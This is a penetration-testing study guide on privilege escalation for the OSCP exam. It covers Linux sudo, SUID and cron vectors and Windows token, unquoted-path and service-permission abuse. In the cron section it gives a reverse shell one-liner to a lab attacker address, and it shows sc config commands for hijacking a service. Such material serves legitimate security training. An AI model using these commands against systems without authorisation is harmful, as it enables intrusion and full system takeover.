Mastering privilege escalation is the single most critical skill for passing the OffSec Certified Professional (OSCP) exam and succeeding in penetration testing engagements. When you land an initial low-privileged shell on a target machine, you're only at the starting line. Translating that foothold into a system administrator or root session requires a methodical approach to system enumeration, misconfiguration discovery, and kernel exploitation.
This guide breaks down the core methodologies, enumeration vectors, and post-exploitation techniques needed to elevate your access on both Linux and Windows architectures. Instead of relying on automated scripts blindly, you'll learn how to identify structural weaknesses and execute manual escalation vectors effectively.
Understanding Privilege Escalation Fundamentals
Privilege escalation occurs when an attacker with restricted access to a system finds a flaw, misconfiguration, or design oversight that grants them higher-level permissions, typically root on Linux or NT AUTHORITY\SYSTEM on Windows. The process is divided into two distinct phases: enumeration and exploitation.
Enumeration is where candidates pass or fail the OSCP. Rushing this phase or executing generic scripts without understanding the underlying output often leads to dead ends. You need to know what normal system behavior looks like so anomalies stand out immediately.
When you obtain an initial shell, don't immediately start running heavy exploit binaries. Follow a structured methodology to audit the local environment, user privileges, running services, and internal network interfaces.
Linux Privilege Escalation Vectors
Linux targets make up a significant portion of OSCP lab and exam machines. Finding a path from a low-level service account like www-data to root usually relies on a handful of common configuration oversights.
Enumerating User Context and Sudo Rights
The very first commands you should run on any Linux box establish your current context and available sudo capabilities. Type id to check your user ID, group memberships, and supplementary groups. Next, run sudo -l to check if your current user can execute commands with elevated privileges.
id
sudo -l
If the output reveals that you can run specific binaries via sudo without a password—or even with a password you've cracked from configuration files—you can often leverage GTFOBins to find direct escalation vectors for those binaries.
Exploiting SUID and SGID Binaries
Files with the SUID (Set User ID) or SGID (Set Group ID) permission bit set execute with the permissions of the file owner rather than the user who runs them. If a poorly written custom binary or an outdated system utility has the SUID bit set and runs as root, it represents an immediate escalation vector.
Search the file system for SUID binaries using the following command:
find / -type f -perm -4000 2>/dev/null
Analyze the results carefully. Standard Linux binaries like passwd or su will appear, but look out for custom scripts, administrative utilities, or binaries from third-party software that shouldn't possess elevated permissions.
Cron Jobs and Writable Configuration Files
Automated tasks managed by cron can execute commands or scripts with root privileges at scheduled intervals. If a cron job executes a script or binary that has weak file permissions, you can modify it to inject malicious payloads.
Inspect the system cron tables and configuration directories:
/etc/crontab/etc/cron.d//var/spool/cron/crontabs/
Check the ownership and write permissions of every script called by these scheduled tasks. If you can write to a file executed by a root-level cron job, you can easily append a reverse shell one-liner. For instance, adding bash -i >& /dev/tcp/10.10.14.5/4444 0>&1 to a root-owned cron script will trigger a root shell when the job next runs.
Windows Privilege Escalation Vectors
Windows environments introduce entirely different structural mechanics. While Linux relies heavily on file permissions, cron jobs, and SUID bits, Windows relies on token privileges, service configurations, and unquoted paths.
Enumerating System Information and Services
When you land on a Windows box, gather system architecture details, installed patches, and running services using native commands before deploying enumeration scripts like WinPEAS.
systeminfo
whoami /priv
wmic service get name,displayname,pathname,startmode
The whoami /priv command is critical because it displays your current user token privileges. Privileges like SeImpersonatePrivilege or SeAssignPrimaryPrivilege open the door to Potato family exploits (such as PrintSpoofer or RoguePotato) that can instantly elevate a service account to SYSTEM.
Unquoted Service Paths
Windows paths containing spaces can create security risks if they aren't enclosed in quotation marks. When the Windows Service Control Manager attempts to start a service with an unquoted path containing spaces, it queries the path components sequentially.
For example, consider a service path like:
C:\Program Files\Vulnerable Application\service.exe
The operating system will check these locations in order:
C:\Program.exeC:\Program Files\Vulnerable.exeC:\Program Files\Vulnerable Application\service.exe
If you have write permissions to C:\Program Files\, you can place a malicious executable named Vulnerable.exe in that directory. When the service restarts—or when the machine reboots—the system executes your binary with the privileges of the service account, which is frequently NT AUTHORITY\SYSTEM.
Insecure File Permissions on Services
Every Windows service runs under a specific user context. If the discretionary access control list (DACL) on a service grants low-privileged users modification rights (such as SERVICE_CHANGE_CONFIG or SERVICE_WRITE_DAC), you can alter the binary path associated with that service.
Use tools like AccessChk from Sysinternals to verify permissions:
accesschk.exe -uwcqv "Authenticated Users" *
If a service running as SYSTEM has a configuration you can modify, point its binary path to a custom payload using sc config:
sc config vulnerable_service binPath= "C:\path\to\payload.exe"
sc stop vulnerable_service
sc start vulnerable_service
Automating vs. Manual Enumeration
While automated enumeration scripts like LinPEAS and WinPEAS save valuable time during timed examinations like the OSCP, relying solely on them creates blind spots. Automated tools generate massive volumes of output, often highlighting false positives or missing subtle logic flaws unique to custom applications.
The most successful penetration testers use automated scripts as a quick reconnaissance pass to highlight low-hanging fruit, followed by targeted manual checks to verify findings and dig deeper into application-specific vulnerabilities. Always understand why an escalation path works rather than simply executing commands blindly.
Common Mistakes to Avoid
- Ignoring internal ports: Skipping local port enumeration (
netstat -anoorss -tulpn) means you might miss internal web apps, databases, or administrative dashboards listening only on127.0.0.1. - Overlooking credential files: Forgetting to check history files (
.bash_history), configuration files, or database connection strings often leaves easy administrator passwords undiscovered. - Running heavy exploits prematurely: Dropping unverified kernel exploits can crash target systems during an exam, resulting in lost time while waiting for lab resets. Always check software versions and OS patch levels carefully.
Frequently Asked Questions
What is the difference between horizontal and vertical privilege escalation?
Horizontal privilege escalation involves accessing another user account with the same level of access permissions (e.g., moving from standard user 'alice' to standard user 'bob'). Vertical privilege escalation involves moving from a low-privileged account to a high-privileged administrative account, such as root or SYSTEM.
Are kernel exploits reliable for the OSCP exam?
Kernel exploits should generally be treated as a last resort. They carry a high risk of causing kernel panics or blue screens of death, crashing the target machine. Configuration misclosures, weak file permissions, and vulnerable services are far more stable and preferred escalation routes.
How long should I spend enumerating before asking for help?
During practice labs, spend at least one to two hours thoroughly exhausting manual enumeration before consulting hints or walkthroughs. Training your brain to recognize patterns in misconfigurations is essential for building real-world offensive security competence.
Can I use automated scripts during the OSCP exam?
Yes, automated enumeration scripts like LinPEAS and WinPEAS are permitted during the OSCP exam. However, you must still understand how to interpret their output and manually verify any potential escalation vectors they identify.
